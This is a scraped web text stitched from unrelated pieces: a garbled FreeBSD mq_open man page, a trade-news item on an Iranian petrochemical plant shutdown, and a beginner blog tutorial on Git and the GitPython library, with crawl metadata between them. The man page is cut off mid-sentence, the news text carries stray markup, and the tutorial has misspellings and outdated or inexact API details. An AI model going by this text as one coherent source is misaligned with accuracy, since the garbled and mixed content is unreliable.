NAME mq_open - open a message queue (REALTIME) LIBRARY library “librt” SYNOPSIS #include <mqueue.h> mqd_t mq_open(const char *name, int oflag, ...); DESCRIPTION The mq_open() system call establishes the connection between a process and a message queue with a message queue descriptor. It creates should conform to the construction rules for a pathname. following list. Applications should is of type mode_t, and attr, which is a pointer to an mq_attr structure. If the pathname name has already been used to create a message queue that still exists, then this flag permission bits of the message queue will be set to the value of the mode argument, except those set in the file mode creation mask of the process. When bits in mode other than the file permission bits are specified, the effect is unspecified. If attr is NULL, the message queue(). SEE ALSO mq_close(2), mq_getattr(2), mq_receive(2), mq_send(2), mq_setattr(2), mq_timedreceive(3), mq_timedsend(3), mq_unlink(3) STANDARDS The mq_open() system call conforms to . HISTORY Support for POSIX message queues first appeared in FreeBSD 7.0. BUGS This implementation places strict requirements on the value of name: it must begin with a slash (‘/’) and contain no other slash characters.
http://manpages.ubuntu.com/manpages/intrepid/man2/mq_open.2freebsd.html
CC-MAIN-2013-48
refinedweb
200
62.48
07 September 2011 09:32 [Source: ICIS news] SINGAPORE (ICIS)--?xml:namespace> The exact date of shutdown of the 300,000 tonne/year facility was not disclosed by the source. The lack of catalyst affected the company’s HDPE production, while the lack of butane-1 hit Jam Petrochemical’s LLDPE output, the source said. The company has plans to secure sufficient butane-1 to resume production of LLDPE, said the source. “We are unsure by when exactly the swing plant restart. This is subject to the operating status of its upstream cracker,” he said. The company’s cracker with a 1.32m tonne/year ethylene capacity is currently running at lower operating rates than the 80-90% recorded in August, the source said. Jam Petrochemical also has a stand-alone HDPE facility in Asaluyeh that produces blow moulding grade polymer for the Iranian market. This plant is running at full capacity,
http://www.icis.com/Articles/2011/09/07/9490595/irans-jam-halts-hdpelldpe-swing-plant-ops-on-feedstock.html
CC-MAIN-2014-35
refinedweb
152
57.47
Python Git: Learning about Git, Git Repositories and GitPython Python is a popular, high-level programming language. The language is meant to be simple and readable, both on the small and large scale. The latest major version of Python, Python 3.0, was released in 2008. It is not backwards compatible with the earlier versions and has several new major features. Python supports multiple programming paradigms, like object-oriented programming, structured programming, aspect-oriented programming, functional programming and logic programming. The language has a good garbage collector and it also supports Unicode. One of the unique features of Python is that the language lets you do more with little code, unlike other languages like C and Perl. Python programming is all about finding a single obvious way to carry out a programming task, instead of searching and coding in multiple ways, like they do in Perl. This makes Python an easy language to learn, even for beginners. You can take our Python programming course to get started with the language. In this tutorial, we’re going to take a look at Git, Git repositories and GitPython, a python library that lets you handle Git repositories. You need to be familiar with the basics of Python to understand it. What is Git? Git is a distributed version control system software product. It lets you create and manage Git repositories. The software was developed by Linus Trovalds in 2005. While originally intended for Linux, the software has been ported to other major operating systems, like Windows and OSX. Git is compatible with Python, as well as some of the other major programming languages like Java, Ruby and C. C was the original language it was written in. The purpose of Git is to manage a set of files that belong to a project. As the project is developed, its files change over time. Git tracks these changes and stores them in a repository, which is a typical data structure (it can handle large amounts of easy-to-retrieve data). If the user dislikes a change or a set of changes made in the project, he can use Git to rollback those changes. For example, if you were working on a project in Python, Git would take a snapshot of your source code at regular intervals. If you don’t like your recent coding, you can use Git to revert to an earlier state in the project. What is a Git Repository? A Git repository contains a set of files, and is itself a file that is stored in a subdirectory (.git) alongside the files of the project. There is no central repository that is considered to be the main repository, like in other software systems. At any given time, there exist several different repositories that are a snapshot of the project you are currently working on, and they are all given different version names. You can learn more about Git basics in this course. A user can choose to copy (clone) and even switch between different versions using Git. The lack of a central repository makes Git a “distributed” version control system. The sets of files a repository stores are actually commit objects and a set of references to those commit objects. These references are known as heads. These commit objects are the main core of the repository- they mirror your project and you use them to revert back. A commit object will have a unique SHAI name that makes it possible to identify it. It will also contain references to point to parent commit objects. Every repository has a master head, and each repository can contain several heads. An active head is highlighted in uppercase letters while an inactive head is highlighted in lowercase letters. Git for Python: GitPython You can use Git with Python through the GitPython library. The GitPython library lets you react will high-level as well as low-level Git repositories. You can install the latest version of the software by typing: easy_install gitpython Alternatively, you can download it directly from here. To learn more about the structure of Python and Python libraries, we recommend you sign up for this beginners Python course. Creating a Repository You can use Git commands directly to create a repository: mkdir directoryname cd directoryname git init This will create an empty repository in which you can add files in the specified directory. Using GitPython GitPython lets you create objects that let you access your repositories. You can use an object model access to find commit objects, tree objects and blob objects. GitPython also has other features, like letting you gzip or tar objects, return stats and show information logs. We’ll show you a few basic commands that will help you create objects using GitPython. Please note that these commands are in no way comprehensive – you will need a thorough understanding of the Git software and Python to use GitPython to its fullest capacity. The architecture of the machine you’re on, available system resources as well as the network bandwidth you have access to will also influence how well you can utilize GitPython. Initializing a Repository Object: from git import * repo = Repo (“/path 1/path 2 /path 3”) This command creates a Repository object in your repository (directory path). You can use the repository object to find commit objects, trees and blobs. To find the commit objects present in your repository, type the following command: repo.commits () This brings up a list of commit objects (upto 10). You can specify which branches it can reach by inputting advanced commands. You can further retrieve tree objects and blob objects with GitPython. If you want a list of all possible usable commands, check out the GitPython source code here . To learn more about writing your own Python programs, you can take this course. And if you want to do something more fun than GitPython, try writing your own games in Python, with the help of this course. Recommended Articles Python vs C: A Beginner’s Guide Python SQLite Tutorial Python ‘assert’: Invariants in Code Top courses in Python Python students also learn Empower your team. Lead the industry. Get a subscription to a library of online courses and digital learning tools for your organization with Udemy for Business.
https://blog.udemy.com/python-git/
CC-MAIN-2021-49
refinedweb
1,046
63.59